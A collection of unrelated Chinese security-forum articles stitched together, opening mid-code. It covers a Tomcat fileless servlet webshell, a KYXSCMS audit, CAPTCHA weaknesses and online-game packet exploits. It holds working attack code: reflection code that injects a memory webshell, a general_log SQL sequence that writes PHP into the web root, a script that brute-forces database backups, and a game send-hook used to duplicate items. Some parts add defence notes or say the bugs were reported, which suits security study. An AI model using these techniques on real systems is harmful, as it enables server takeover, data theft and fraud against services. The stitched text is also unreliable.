org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response)res.getNote(1);
if (this.connector.getXpoweredBy()) {
response.addHeader("X-Powered-By", POWERED_BY);
}
req.getRequestProcessor().setWorkerThreadName(Thread.currentThread().getName());
if (this.postParseRequest(req, request, res, response)) {
this.connector.getContainer().getPipeline().getFirst().invoke(request, response);
}
`org.apache.catalina.connector.CoyoteAdapter#postParseRequest`负责处理request请求，从request中获取相关信息冰传递给tomcat。下面主要分析一下`org.apache.catalina.connector.CoyoteAdapter#postParseRequest`
该方法可以认为从请求中读取http请求等，关于请求url到servlet的代码如下
this.connector.getMapper().map(serverName, decodedURI, request.getMappingData());
request.setContext((Context)request.getMappingData().context);
if (request.getContext() == null) {
res.setStatus(404);
res.setMessage("Not found");
this.connector.getService().getContainer().logAccess(request, response, 0L, true);
return false;
} else {
request.setWrapper((Wrapper)request.getMappingData().wrapper);
if (!this.connector.getAllowTrace() && req.method().equalsIgnoreCase("TRACE")) {
Wrapper wrapper = request.getWrapper();
`request.getMappingData()`中负责存储本次请求url与servlet的请求。而`this.connector.getMapper().map`中负责查找url与servlet的对应关系，并存储到`request.getMappingData()`中。下面我们主要分析一下`this.connector.getMapper().map`方法，当然该方法最终调用的是`org.apache.tomcat.util.http.mapper.Mapper#internalMap`方法，代码如下
org.apache.tomcat.util.http.mapper.Mapper#internalMap
private final void internalMap(CharChunk host, CharChunk uri, MappingData mappingData) throws Exception {
if (mappingData.host != null) {
throw new AssertionError();
} else {
//... 省略无关代码
if (!found) {
if (contexts[0].name.equals("")) {
context = contexts[0];
}
} else {
context = contexts[pos];
}
if (context != null) {
mappingData.context = context.object;
mappingData.contextPath.setString(context.name);
}
if (context != null) {
this.internalMapWrapper(context, uri, mappingData);
}
}
}
}
上面代码的作用是，从Mapper中根据webapp的名称，查找到相关的Map.context。而Map.context中，存储着每个webapp中url与servlet的对应关系。在方法的最后，调用`this.internalMapWrapper`去查找相对应的Wrapper，并存放在request中，作为本次请求中待调用的servlet。
在`internalMapWrapper`中，将会根据请求类型，去查找响应的Wrapper。总的来说有两大类，servlet与jsp。主要请求区别如下
1. servlet 的wrapper中，ServletClass为用户的类。并且webapp中所有的exactWrapper都存放在Mapper的exactWrappers中
2. jsp也是一类特殊的servlet，在服务器上会编译为servlet。所以jsp的wrapper只有两个，存放在Mapper的extensionWrapper中，一个为处理jsp的Wrapper，另外一个处理jspx
`internalMapWrapper`的代码如图所示
现在找到tomcat如何设置wrapper以及请求流程，下面来实现基于servlet的无文件webshell。
## 0x02 代码实现
实现servlet主要有以下几个技术难点
### 1\. 寻找Mapper对象
根据我们的分析结论，Mapper是实现servlet的重点。mapper中的hosts字段，对应不同的webapp，在你需要的那个webapp添加servlet。在tomcat中，寻找Mapper对象的方法主要有以下两种
#### 1.1 全局context中
注意，这里是全局context，而不是webapp的context。context中获取Mapper的方法如下图
> **注意 我这里为了截图，直接从pageContext中截图，但是实际是不可以的，一定是全局context**
>
>
>
#### 1.2 MBean中
这种就比较简单，在tomcat的MBean中，存储全局Mapper对象。我们可以从MBean中获取Mapper，然后添加我们自己的url与servlet的映射关系即可。代码如下。注意，在服务器上运行，能反射就反射，因为肯定没有相关的package。
Method getRegistryM = Class.forName("org.apache.tomcat.util.modeler.Registry").getMethod("getRegistry", Object.class, Object.class);
Object RegistryO = getRegistryM.invoke(null, null, null);
Method getMBeanServerM = RegistryO.getClass().getMethod("getMBeanServer");
Object mbeanServer = getMBeanServerM.invoke(RegistryO);
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap obj2 = (HashMap) field.get(obj);
obj = ((HashMap) obj2.get("Catalina")).get("port=8080,type=Mapper");
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
Object Mapper = field.get(obj);
### 2\. 向Mapper中添加wrapper
幸运的是，Mapper中有相关方法，可以直接添加一个wrapper。其中第一个参数为url，第二个为url请求相对应的wrapper
org.apache.tomcat.util.http.mapper.Mapper#addWrapper(org.apache.tomcat.util.http.mapper.Mapper.Context, java.lang.String, java.lang.Object)
protected void addWrapper(Mapper.Context context, String path, Object wrapper) {
this.addWrapper(context, path, wrapper, false);
}
通过反射调用的代码如下
Method addWrapperF = Mapper.getClass().getDeclaredMethod("addWrapper",
context.getClass(), String.class, Object.class);addWrapperF.setAccessible(true);
addWrapperF.invoke(Mapper, context, "/b", wrapperTest);
### 3\. 如何生成一个Wrapper对象
在这里直接实例化Wrapper是不可以用的。所以我们需要想办法创建一个属于我们自己的wrapper对象。但是wrapper对象中参数过于复杂，为了不影响其他servlet的请求过程，深拷贝一个先有的wrapper对象，并修改响应ServletName是最简单的办法。但是wrapper对象没有实现clone方法。所以在这里我自己通过递归写了一个深拷贝对象的方法，代码如下
public Object CopyObject(Object src, Object dst, Class srcClass) throws Exception {
// 只考虑本项目中使用，恰好src对象只能通过无参构造函数去实例化
if (dst == null) {
dst = src.getClass().newInstance();
}
if (srcClass.getName().equals("java.lang.Object")) {
return dst;
}
Field[] fields = srcClass.getDeclaredFields();
for (Field f : fields) {
if (java.lang.reflect.Modifier.isStatic(f.getModifiers())) {
// 如果是静态的变量，在这里不复制，直接跳过
continue;
}
if (java.lang.reflect.Modifier.isFinal(f.getModifiers())) {
// 如果是final的变量，在这里不复制，直接跳过
continue;
}
// 如果该字段不为public，则设置为public访问
if (!f.isAccessible()) {
f.setAccessible(true);
}
f.set(dst, f.get(src));
}
return CopyObject(src, dst, srcClass.getSuperclass());
}
拷贝对象后，我们再修改相关参数即可。
Object wrapperTest = CopyObject(wrapperObject, null, wrapperObject.getClass());
Method addMappingM = wrapperTest.getClass().getDeclaredMethod("addMapping", String.class);
addMappingM.invoke(wrapperTest, "/b");
### 4\. Wrapper中servlet加载机制
在tomcat随后的请求中，会通过调用org.apache.catalina.core.StandardWrapperValve#invoke，获取Wrapper中对应的servlet。并调用，代码如下
public final void invoke(Request request, Response response) throws IOException, ServletException {
boolean unavailable = false;
Throwable throwable = null;
long t1 = System.currentTimeMillis();
++this.requestCount;
StandardWrapper wrapper = (StandardWrapper)this.getContainer();
Servlet servlet = null;
Context context = (Context)wrapper.getParent();
try {
if (!unavailable) {
servlet = wrapper.allocate();
}
下面我们主要分析一下`wrapper.allocate()`的代码
public Servlet allocate() throws ServletException {
if (!this.singleThreadModel) {
if (this.instance == null) {
synchronized(this) {
if (this.instance == null)
this.instance = this.loadServlet();
}
}
}
public synchronized Servlet loadServlet() throws ServletException {
actualClass = jspWrapper.getServletClass();
ClassLoader classLoader = loader.getClassLoader();
Class classClass = null;
if (classLoader != null) {
classClass = classLoader.loadClass(actualClass);
} else {
classClass = Class.forName(actualClass);
}
如果不存在instance，则通过loadServlet去查找对应的class并实例化。所以，我们直接修改wrapper的instance字段为实例化后的servlet即可。
Field instanceF = wrapperTest.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
instanceF.set(wrapperTest, evilFilterClass.newInstance());
以上问题全部解决后，调用addWrapper添加即可完成
addWrapperF.invoke(Mapper, context, "/b", wrapperTest);
## 0x03 成果检验
访问b 提示404
执行成功后，可以正常执行命令
* * * | 社区文章 |
开学了课多了也是比较忙，花了好久才完成
狂雨cms是款小说cms，照例先是网站介绍
#### 网站介绍
狂雨小说内容管理系统（以下简称KYXSCMS）提供一个轻量级小说网站解决方案，基于ThinkPHP5.1+MySQL的技术开发。
KYXSCMS,灵活，方便，人性化设计简单易用是最大的特色，是快速架设小说类网站首选，只需5分钟即可建立一个海量小说的行业网站，批量采集目标网站数据或使用数据联盟，即可自动采集获取大量数据。内置标签模版，即使不懂代码的前端开发者也可以快速建立一个漂亮的小说网站。
#### 建站
手动创建数据库，这里库名为kycms
填好信息进行安装
安装完成，直接进入后台
admin admin
#### 漏洞复现
##### 文件包含
后台可以修改模板文件，在模板文件中调用模板代码可实现文件包含
首先在设置中上传logo处，上传图片马，需要注意不能是用户的头像上传处上传木马，因为头像会进行缩放，导致文件内容被修改
上传成功后会返回路径，图片马内容为`<?php phpinfo(); ?>`，需要注意php代码必须包含最后的`?>`，否则会报语法错误
进入模板功能处，在index.html，即主页模板中添加模板代码，同样需要注意，路径不能以/开头，否则会被找不到错误
{include file="uploads/config/20200325/033966a7d27975812915522464e252a3.jpg" /}
接着打开主页，即可看到phpinfo信息
##### SQL代码执行
后台存在SQL代码执行功能
但secure_file_priv设置为空，无法导出文件，可以利用general_log进行getshell
依次执行以下代码
set global general_log=On;
set global general_log_file="D:\\phpstudy_pro\\WWW\\123.php";
create table tmp (value varchar(25));
insert into tmp (value) values ("<?php phpinfo(); ?>");
drop table tmp;
set global general_log=Off;
得到general_log，内容如图所示，至于为什么要用create而不用select，后面会解释
访问即可看到phpinfo
##### 后台数据泄露
后台可以直接备份数据库，备份后为.sql.gz文件(可以在设置里更改是否压缩)，文件名为time函数生成的时间戳，可直接爆破进行下载，这里先附上exp(因为不会进行验证码的识别，所以修改了代码将验证部分注释掉了，师傅们见谅~)
# !/usr/bin/python3
# -*- coding:utf-8 -*- # author: Forthrglory
import requests
import time
def getDatabase(url,username, password):
session = requests.session()
u = 'http://%s/admin/index/login.html' % (url)
head = {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
}
data = {
'username': username,
'password': password,
'code': 1
}
session.post(u, data, headers = head)
u = 'http://%s/admin/database/export.html' % (url)
data = {
'layTableCheckbox':'on',
'tables[0]':'ky_ad',
'tables[1]':'ky_addons',
'tables[2]':'ky_bookshelf',
'tables[3]':'ky_category',
'tables[4]':'ky_collect',
'tables[5]':'ky_comment',
'tables[6]':'ky_config',
'tables[7]':'ky_crontab',
'tables[8]':'ky_link',
'tables[9]':'ky_member',
'tables[10]':'ky_menu',
'tables[11]':'ky_news',
'tables[12]':'ky_novel',
'tables[13]':'ky_novel_chapter',
'tables[14]':'ky_route',
'tables[15]':'ky_slider',
'tables[16]':'ky_template',
'tables[17]':'ky_user',
'tables[18]':'ky_user_menu'
}
t = time.strftime("%Y%m%d-%H%M%S", time.localtime())
session.post(u, data = data)
for i in range(0, 19):
u2 = 'http://%s/admin/database/export.html?id=%s&start=0' % (url, str(i))
session.get(u2)
t = 'http://' + url + '/public/database/' + t + '-1.sql.gz'
return t
if __name__ == '__main__':
u = '127.0.0.1'
username = 'admin'
password = 'admin'
t = getDatabase(u, username, password)
print(t)
运行代码，得到路径(默认生成路径为/public/database/，可在设置中修改)
直接访问下载
可以看到所有数据库信息全在了
说实话，个人感觉这样这种功能弊远大于利，真想实现不如将文件名命名为随机字符串，然后只能在服务器上改动，或者说生成之后给管理员的邮箱发送消息告知文件名，否则还是不要的好
#### 代码审计
首先还是先看代码结构
addons 插件代码
application 主要后端代码
config 配置文件
extend 一些基础类文件
public 静态文件
route 路由
runtime 主要是缓存
template 模板文件
thinkphp thinkphp
uploads 上传文件
主要的审计中心放在application下
##### 文件包含
主要是提供了可修改模板功能，然后利用thinkphp的模板语法进行文件包含
主要代码
application/admin/controller/Template.php->edit()
public function edit(){
$Template=model('template');
$data=$this->request->post();
if($this->request->isPost()){
$res = $Template->edit($data);
if($res !== false){
return $this->success('模版文件修改成功！',url('index'));
} else {
$this->error($Template->getError());
}
}else{
$path=urldecode($this->request->param('path'));
$info=$Template->file_info($path);
$this->assign('path',$path);
$this->assign('content',$info);
$this->assign('meta_title','修改模版文件');
return $this->fetch();
}
}
跟入edit函数
application/admin/model/Template.php->edit()
public function edit($data){
return File::put($data['path'],$data['content']);
}
继续跟入
extend/org/File.php
static public function put($filename,$content,$type=''){
$dir = dirname($filename);
if(!is_dir($dir))
mkdir($dir,0755,true);
if(false === file_put_contents($filename,$content)){
throw new \think\Exception('文件写入错误:'.$filename);
}else{
self::$contents[$filename]=$content;
return true;
}
}
可以看到这里没经过任何过滤，直接进行了写入。关于这里的模板功能，肯定还有其他利用方式，就靠师傅们自己去测试了
###### 防御方法
针对该处漏洞的防御，觉得还是对上传进行过滤比较容易，比如说进行内容的检查，或者对图片进行一定的改动譬如缩放，从而破坏图片马的结构，不过只是治标不治本，一旦找到新的上传方式，还是会被利用。
##### SQL代码执行
application/admin/controller/Tool.php->sqlexecute()
public function sqlexecute(){
if($this->request->isPost()){
$sql=$this->request->param('sql');
if(!empty($sql)){
$sql = str_replace('{pre}',Config::get('database.prefix'),$sql);
//查询语句返回结果集
if(strtolower(substr($sql,0,6))=="select"){
}
else{
$return = Db::execute($sql);
}
}
return $this->success('执行完成');
}else{
$this->assign('meta_title','SQL语句执行');
return $this->fetch();
}
}
Db是thinkphp内置类，可以看到前六个字符是select的话其实什么都没有执行。。。报错的话无法存入log中，所以用了create
###### 防御方法
针对传入的语句进行限制，比如只能进行查询操作。建议最好还是直接取消这个功能，对SQL的操作直接在服务器上进行，放在后台实在是弊大于利，
##### 数据泄露
application/admin/controller/Database.php->export()
public function export($tables = null, $id = null, $start = null){
if($this->request->isPost() && !empty($tables) && is_array($tables)){ //初始化
......
//生成备份文件信息
$file = [
'name' => date('Ymd-His', time()),
'part' => 1,
];
......
//创建备份文件
$Database = new Databasec($file, $config);
if(false !== $Database->create()){
$tab = ['id' => 0, 'start' => 0];
$this->success('初始化成功！', '', ['tables' => $tables, 'tab' => $tab]);
} else {
$this->error('初始化失败，备份文件创建失败！');
}
......
} elseif ($this->request->isGet() && is_numeric($id) && is_numeric($start)) { //备份数据
......
} else {
$this->error('请指定要备份的表！');
}
}
跟进Databasec类
extend/databasec/Databasec.php->create()
public function __construct($file, $config, $type = 'export'){
$this->file = $file;
$this->config = $config;
}
public function create(){
$sql = "-- -----------------------------\n";
$sql .= "-- Think MySQL Data Transfer \n";
$sql .= "-- \n";
$sql .= "-- Host : " . config('database.hostname') . "\n";
$sql .= "-- Port : " . config('database.hostport') . "\n";
$sql .= "-- Database : " . config('database.database') . "\n";
$sql .= "-- \n";
$sql .= "-- Part : #{$this->file['part']}\n";
$sql .= "-- Date : " . date("Y-m-d H:i:s") . "\n";
$sql .= "-- -----------------------------\n\n";
$sql .= "SET FOREIGN_KEY_CHECKS = 0;\n\n";
return $this->write($sql);
}
继续跟进write函数
extend/databasec/Databasec.php->write()
private function write($sql){
$size = strlen($sql);
//由于压缩原因，无法计算出压缩后的长度，这里假设压缩率为50%，
//一般情况压缩率都会高于50%；
$size = $this->config['compress'] ? $size / 2 : $size;
$this->open($size);
return $this->config['compress'] ? @gzwrite($this->fp, $sql) : @fwrite($this->fp, $sql);
}
跟进open函数
extend/databasec/Databasec.php->open()
private function open($size){
if($this->fp){
$this->size += $size;
if($this->size > $this->config['part']){
$this->config['compress'] ? @gzclose($this->fp) : @fclose($this->fp);
$this->fp = null;
$this->file['part']++;
session('backup_file', $this->file);
$this->create();
}
} else {
$backuppath = $this->config['path'];
$filename = "{$backuppath}{$this->file['name']}-{$this->file['part']}.sql";
if($this->config['compress']){
$filename = "{$filename}.gz";
$this->fp = @gzopen($filename, "a{$this->config['level']}");
} else {
$this->fp = @fopen($filename, 'a');
}
$this->size = filesize($filename) + $size;
}
}
可以看到文件名由`file['name']`+`-`+`file['part']`+`.sql(.gz)`组成，`name`是格式化后的time，`part`为1，因此可直接爆破文件名，从而泄露数据库
###### 防御方法
利用随机数生成文件名，然后发送邮件至管理员邮箱或发送短信至手机，增加爆破难度
#### 后记
之前的计划泡汤了，因为想用docker去做这个项目，然后发现大部分cms说是支持Linux，但真放上去都有大大小小的问题，比如最常见的就是路径，文件名是首字母大写其余小写，然而代码里全部用的小写。。当时安装的时候就一直加载无法安装，找了半天没找到错误，最后发现是写了个while，改完安装完界面还崩了。。直接就没法用。项目只好泡汤。
再说这次的cms，其实这几个漏洞都是后台的功能被恶意利用导致的，出发点是好的，但没有做好限制，也是给自己提个醒，以后注意。 | 社区文章 |
### 0x01 前言
验证码的定义：
> 验证码（CAPTCHA）是“Completely Automated Public Turing test to tell Computers and
> Humans
> Apart”（全自动区分计算机和人类的图灵测试）的缩写，是一种区分用户是计算机还是人的公共全自动程序。可以防止：恶意破解密码、刷票、论坛灌水，有效防止某个黑客对某一个特定注册用户用特定程序暴力破解方式进行不断的登陆尝试，实际上用验证码是现在很多网站通行的方式，我们利用比较简易的方式实现了这个功能。这个问题可以由计算机生成并评判，但是必须只有人类才能解答。由于计算机无法解答CAPTCHA的问题，所以回答出问题的用户就可以被认为是人类。
验证码的作用：
> 简而言之、防止机器操作。
验证码分为图形验证码、短信验证码、语音验证码等等。本文仅分析图形验证码这一种。
### 0x02 基本流程
笔者将生成验证码的流程总结如下：
可能存在的问题：
* 验证码使用后未销毁。
* 生成验证码的字符集可控。
* 验证码存放位置暴露。
* 验证码对比失败后仍进行其他对比。
* 其他对比后验证码未销毁。
* 验证码尺寸可控
* 验证码过于简单,可轻易机器识别。
### 0x03 代码还原&实例分享
两段简单的PHP代码实现生成数字验证码并验证,以下代码复现均基于这两文件实现：
**captcha.php**
<?php
session_start();
$image=imagecreatetruecolor(100,30);
$bgcolor=imagecolorallocate($image,255,255,255);
imagefill($image, 0, 0, $bgcolor);
$captch_code='';
//画出4个随机的数字
for($i=0;$i<4;$i++){
$fontsize=10;
$data='0123456789';//字符集
$fontcontent=substr($data,rand(0,strlen($data)),1);
$captch_code.=$fontcontent;
$x=($i*100/4)+rand(5,10);
$y=rand(5,10);
imagestring($image,$fontsize,$x,$y,$fontcontent,$fontcolor);
}
$_SESSION['captcha']=$captch_code;
header('content-type:image/png');
imagepng($image);
imagedestroy($image);
**index.php**
<?php
header("Content-type: text/html; charset=utf-8");
if(isset($_REQUEST['captcha'])){
session_start();
if(strtolower($_REQUEST['captcha'])==$_SESSION['captcha']){
echo '验证码正确';
unset($_SESSION['captcha']);
}else{
echo '验证码错误';
unset($_SESSION['captcha']);
}
exit();
}
?>
<html>
<head>
<meta charset="UTF-8">
<title>浅析图形验证码安全</title>
</head>
<body>
<form method="post" action='./index.php'>
<p>验证码图片：
<img id="code_img" border="1" src="./captcha.php?r=<?php echo rand();?>" >
<a href="javascript:void(0)" onclick="document.getElementById('code_img').src='./captcha.php?r='+Math.random()">刷新一下</a>
</p>
<p>请输入验证码：<input type="text" name="captcha" value=""></p>
<p><input type="submit" value="提交" style="padding:6px 20px;"></p>
</form>
</body>
</html>
#### Round 1：验证码使用后未销毁
这是最常见的一种验证码缺陷,通常我们也叫验证码复用,代码如下：
开发常忘记注销session中存入的验证码,攻击者可截断请求包,重复利用同一个验证码即可。
**案例：**
验证码使用后未注销,可截断刷新验证码的请求,直接爆破密码。
#### Round 2：生成验证码的字符集可控
生成验证码的字符集可控这种情况并不常见,目前笔者接触过的案例出现在`ThinkCMF
1.X-2.X`,少见,但是脚本化容易,对比上一中优势在于验证码可控,不用人工输入第一个有效Payload,代码层面如下:
**案例：**
详细分析可移步[验证码外部控制实例](https://xz.aliyun.com/t/4487),也是笔者的稿子。
#### Round 3：验证码存放位置暴露
此类问题出现比例低于第一种高于第二种,出现问题的缓解主要在于开发没把验证码的明文写进session而是选择了写到其他地方,比如写到Cookie,藏到编码后的某些值里面,藏到图片的字节里面等等。代码层面如下：
（藏到Cookie里面,其他情况参考[逻辑让我崩溃之验证码姿势分享](https://xz.aliyun.com/t/4533)）
**案例：**
#### Round 4：验证码对比失败后仍进行其他对比
这类问题出现的频率和上一中相差无几,问题出现在开发的登录逻辑上,验证码失败后本该退出页面,开发只是提醒了一下,并未阻断后续代码的运行,代码实现如下：
**案例：**
图片截取自某上帝的代码,开发在对比验证嘛失败后checkFlag的值设置错误,导致验证码只要不为空就可以继续对比密码,提示不影响。有些跑题,可参考[某KCMS5.0
代码审计](https://xz.aliyun.com/t/4189)中任意用户密码重置部分,逻辑上是一个道理,也是笔者文稿。
#### Round 5：其他对比后验证码未销毁
这类不常见,但是利用起来很有意思,常出现在有其他校验的地方。代码实现如下：
（仿写某很友好的甲方代码）
验证码并未注销,看起来可以复用,实则不行,因为后面进行了校验,每次hash都不一样,变相的导致了验证码不可复用,不可爆破。
**案例：**
那么如何利用？如仿写的代码所示,仅仅校验了密码字段加验证码,用户名并未校验,那么这里就可以输入一个弱密码（如123456,111111,123123等等）,然后反向去遍历用户,获取正确的口令。
**效果：**
如图,笔者当时使用123456这个弱密码去遍历用户,成功获取到几十个用户口令。
#### Round 6：验证码尺寸可控
该问题被人们广为关注源于PHPcms早期版本的后台登录验证码尺寸可控,可用于DDoS。而笔者亲自挖掘到这样的问题源于`ThinkCMF
1.X-2.X`,详情可参考[验证码外部控制实例](https://xz.aliyun.com/t/4487)中的尺寸可控部分。代码实现如下：
**案例：**
（图片截取自笔者的漏洞报告）
#### Round 7：验证码过于简单,可轻易机器识别。
写到这里细心的读者会发现,到目前为止给出的代码运行后的真面目都还见过,真面目是这样的：
实战场景中甲方验证码大部分都是在这个的基础上加了一些噪点而已。
识别实例：
### 0x04 总结
修复套话：
* 验证码设置为6位并设置超时（一分钟）失效。
* 建议修改应用程序源代码，在登录模块中增加对验证码正确性的验证，并且要保证在验证用户名、密码或其他信息之前首先验证验证码的正确性。
真实感受：
文中提到的这些验证码的问题在甲方单位中（尤其是事业单位）业务系统比比皆是，更有甚者验证码直接没参与验证，只是放在前端应付一下而已。
（PS：文中案例均来自实战,如有打码不严,还请各位看官手下留情。） | 社区文章 |
# 某网游刷坐骑、刷极品道具、刷经验漏洞实现分享
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
一款老网游，找传奇类网游偶遇分析之做个小测试，
**作为豹子头玩家找到相关漏洞注册几个新号试刷一下封存，半年后于21年4月复试发现漏洞依旧存在，提交官方现已修复** 。本次主要介绍3个漏洞：
**刷坐骑**
无限免费的各种坐骑，坐骑可分解可进阶，也就是无限的顶阶坐骑
**刷极品道具**
无限免费的强化石、锁星石、炼魔石等，高玩几十万做的装备套装可以基本不花钱做出来
**刷经验**
可迅速升级到全服第一，一年内的服1小时内搞定，几年的老服也就几小时的事
活动期间附带兑换币奖励，可以大量兑换包括通用元宝在内几十种珍惜道具
## 接入协议工具
逆向分析下，游戏明文发包Call如下：
看到call eax，显然不用犹豫了，虚表Hook比较安逸
**搜索基址**
while (0 == g_Param_MMSend_Ecx){
g_Param_MMSend_Ecx = g_InitIO.Api.MemSigScan(“game.exe”,”[1]g_Param_MMSend_Ecx,?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ,0x11,1,4”);
Sleep(1);
}
**虚表Hook**
void __stdcall HookMMSend(bool bHook){
void pRet;
DWORD dwOldProtect;
DWORD dwParent = (PDWORD)(*(PDWORD)g_Param_MMSend_Ecx) + 4;
VirtualProtect(LPVOID(dwParent),4,PAGE_EXECUTE_READWRITE,&dwOldProtect);
if (bHook){
OldMMSend = (TMMSendProc)(*(PDWORD)dwParent);
InterlockedExchange((PDWORD)dwParent, (DWORD)(&NewMMSend));
}
else{
InterlockedExchange((PDWORD)dwParent,(DWORD)OldMMSend);
}
VirtualProtect(LPVOID(dwParent),4,dwOldProtect,&dwOldProtect);
}
## 漏洞实现
### 一、刷坐骑
游戏中有一种”坐骑蛋”的道具，打开后会随机获得坐骑，协议：
66660000 01000000 00FFFFFF
0x0 4字节 协议类型
0x4 4字节 坐骑蛋种类 普通坐骑蛋、高级坐骑蛋等
0x8 1字节 坐骑蛋位置 0表示第一格
经测试对第四字节，按一定的时间间隔进行Fuzz可把任意道具当坐骑蛋使用生成坐骑( **任意未绑定道具可生成未绑定坐骑**
)，坐骑本身可分解升级，于是就可有无限可交易的顶阶坐骑了。
**这边有个要点，必须以大概的时间间隔Fuzz，太快或太慢都不行**
### 二、刷装备相关道具
游戏有个挑战系统挑战到一定层数可以获取到相关宝箱奖励，协议：
0x0 0x4 0x8 0xC
66660000 AA000000 BB000000 CC000000
相关奖励，条件未达成发送领取无效，条件达成重复发送领取依旧无效
字段较多，写个Lua脚本Fuzz跑一跑，示例如下：
跑结束一看背包多了些道具和礼包，降速重新跑一遍排查复现，最终实现与坐骑Bug类似，可把指定位置任意道具变成多种想要的珍惜道具和礼包。
以无限免费强化礼包为例，每个礼包包含武器、防具、首饰的强化石以及锁星石，
**意味着装备可以不降级一直强化到顶级，至此高玩几十万打造的强化套装可以基本不花钱就拥有了** 。
新区图片中一个星星形状道具卖100+RMB，老区有人花数百万搞装备，感慨一下网游真是暴利!
### 三、刷经验
游戏中玩家经验来源主要有经验道具、打怪、任务、活动、成就等
测试了经验道具获取和使用、普通打怪、特殊打怪(特殊场景、特殊怪物)、成就奖励、活动奖励等，未发现可利用点，鉴于RPG网游任务系统是最容易出问题的，决定还是把重心放在任务系统上
对各种任务ModSend、ReSend、NotSend等一通测试，有收获但和速刷经验相去甚远，结果如下
1.部分任务可以远程交、接
2.主、支线任务 不能重复做
3.日常悬赏 可在次数和颜色级别上有所突破，但意义不大，多一点经验而已
4.每周皇榜 可特殊情况下快速秒整轮皇榜，也意义不大，不能额外增加经验
5.日常阵营 不能重复做
6.日常帮派 不能重复做
尝试变更帮派、变更阵营以及其他的一些角色初始或变更状态的特殊情况，依旧无有效收获
决定分析出游戏任务资源继续研究，逆向发现一个游戏内资源的通用获取接口
写几个函数把需要的一些资源提取存储到文件，贴一下逆向对应的核心函数
//根据ID获取资源地址,道具0xC、怪物0x10、技能0x11、任务0x12
DWORD stdcall GetResAdr(DWORD dwType, DWORD dwID)
{
DWORD dwRet = 0;
try {
asm {
push dwID
push 0
push dwType
mov eax, CN_Adr_ResBase
mov edx, dword ptr ds : [eax]
mov ecx, eax
mov eax, dword ptr ds : [edx + 0x18]
call eax
mov dwRet, eax
}
}
catch (…){
}
}
根据任务信息继续分析，对一些特殊的任务再跑一遍相关方案依旧无收获，直到看到如上图所示的几个ID为14XX的任务，这几个看任务名称显然是任务总类，却有任务ID与之对应比较奇怪，详细测试一下
接一下14XX任务，跑一遍相关测试方案无收获
**接一下再放弃14XX任务** ，跑一遍相关测试方案有收获，发现帮派任务在 **离开旧帮派预约了** 新帮派的情况下可以重复接(
**也就是需要特殊组合协议和特殊状态配合才可ReSet**
)，至此任务次数上有突破，速刷经验初步可行，但光次数突破还不够，一次任务如果时间太长严重影响刷经验的效率。
回到帮派任务，正常情况下每天都有不同的帮派任务，而在临时帮派中每天的帮派任务是固定的钓鱼任务，于是我们只需提升钓鱼任务效率即可
帮派地图如下：
**正常做1次钓鱼任务2分钟左右**
1.走到帮派任务NPC接任务
2.走到池塘边，开始钓鱼几秒进度条时间到钓一条鱼，钓到5条鱼为止
3.走到提交道具NPC处，提交5条鱼完成任务
测试特殊任务和帮派钓鱼任务可以远程接，池塘边和提交任务NPC中间选合适的点，可以省去所有寻路耗时
对钓鱼的协议分析，发现时间间隔本地控制，钓鱼过程又可极速
于是完整利用流程基本确定，结合游戏内具体协议，定点后流程如下：
1.放弃帮派钓鱼任务(防止某一轮执行异常影响后续执行)
2.接特殊14XX任务
3.放弃特殊14XX任务
4.接帮派钓鱼任务
5.五轮钓鱼(每轮开始钓鱼、结束钓鱼2个协议)
6.打开NPC
7.对话提交任务物品
8.实际提交鱼(需要分析背包数据，插件中修改提交协议)
9.确认提交
**全部组合利用一次需要用到18个协议，完成一轮任务时间缩小到1秒内，至此速刷经验流程OK**
剩下的在工具和插件中实现自动化操作，为了便于展示，直接用工具重复发送N轮相关协议，一些需要用到游戏内存数据的协议，直接在插件中用滤镜处理即可，比如提交鱼协议，需要内遍历角色背包数据，根据背包鱼位置填充协议中5个对应的鱼位置
void __stdcall TaskBug_Exp(DWORD dwBuf, DWORD dwLen)
{
int i = 0;
int iCount = 0;
int iNeedNum = 0;
int iNeedPosNum = 0;
DWORD dwNow = 0;
DWORD dwBase = 0;
if (!Bug_Exp_Check(dwBuf,dwLen)){
return;
}
try {
//刷新背包，游戏中数组刷新到自定义数组
dwNow = *PDWORD(*PDWORD(CN_Adr_PersonInfo) + CN_Oft_BagItem + 0x4);
memset(&g_BagItemAll, 0, sizeof(g_BagItemAll));
iCount = 0;
for (i = 0; i < CN_Max_BagItem; i++) {
dwBase = *PDWORD(dwNow + i * 8);
g_BagItemAll.Items[iCount].dwBase = dwBase;
memcpy(&g_BagItemAll.Items[iCount].NetID, PVOID(dwBase), 8);
g_BagItemAll.Items[iCount].wT1 = *(PWORD)(dwBase + 8);
g_BagItemAll.Items[iCount].wT2 = *(PWORD)(dwBase + 0xA);
g_BagItemAll.Items[iCount].iNum = *(PWORD)(dwBase + 0x62);
LogDbg("%d %08X %08X %d",iCount,g_BagItemAll.Items[iCount].wT2,g_BagItemAll.Items[iCount].iNum);
iCount++;
}
g_BagItemAll.iCount = iCount;
//修改协议(遍历出的道具位置)
for (i = 0; i < g_BagItemAll.iCount; i++) {
//鱼类型用0x66,0x88替代演示
if ((0x0066 == g_BagItemAll.Items[i].wT1) && (0x0088 == g_BagItemAll.Items[i].wT2)) {
iNeedPosNum = g_BagItemAll.Items[i].iNum;
while (iNeedPosNum > 0) {
*(PDWORD)(dwBuf + 0x18 + iNeedNum * 4) = i;
iNeedNum++;
iNeedPosNum--;
if (5 == iNeedNum) {
return;
}
}
}
}
}
catch (...) {
}
}
## 游戏服务端切忌以恶小而为之
